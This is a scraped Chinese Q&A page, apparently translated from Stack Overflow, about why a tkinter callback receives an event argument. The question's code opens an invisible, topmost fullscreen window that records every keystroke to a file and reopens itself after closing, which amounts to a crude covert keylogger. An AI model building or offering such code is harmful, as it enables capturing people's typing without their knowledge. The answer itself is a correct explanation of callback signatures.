【问题标题】:Why is my function receiving an argument?为什么我的函数接收参数?
【发布时间】:2016-03-14 19:04:43
【问题描述】:

我一直在编写这个程序,但由于某种原因,on_closing 函数正在接收参数

代码:

from tkinter import *
from time import sleep

def run():
    global root, target
    target = open("userdata.exe", 'a')
    root = Tk()
    root.attributes("-fullscreen", True)
    root.attributes('-alpha', 0.01)
    root.attributes('-topmost', True)

    def key(event):
        target.write(repr(event.char)+" :")

    frame = Frame(root, width=root.winfo_screenwidth(), height=root.winfo_screenwidth())
    frame.bind("<Key>", key)
    frame.bind("<1>", on_closing)
    frame.pack()
    root.protocol("WM_DELETE_WINDOW", on_closing)
    root.mainloop()

def on_closing():
    root.destroy()
    sleep(10)
    target.close()
    run()


run()

对为什么会发生这种情况有任何想法吗?

【问题讨论】:

  • 这是因为 tkinter 将一个事件参数传递给它的绑定回调。

标签: python tkinter key-bindings


【解决方案1】:

将回调传递给某个软件(例如tkinter)时,您必须遵循该系统的回调签名规则。当tkinter 调用绑定方法时,它会传递一个event 参数。见Events and Bindings

【讨论】:

    猜你喜欢
    • 1970-01-01
    • 2018-03-24
    • 2020-07-07
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 2019-06-13
    • 1970-01-01
    • 2021-12-22
    相关资源
    最近更新 更多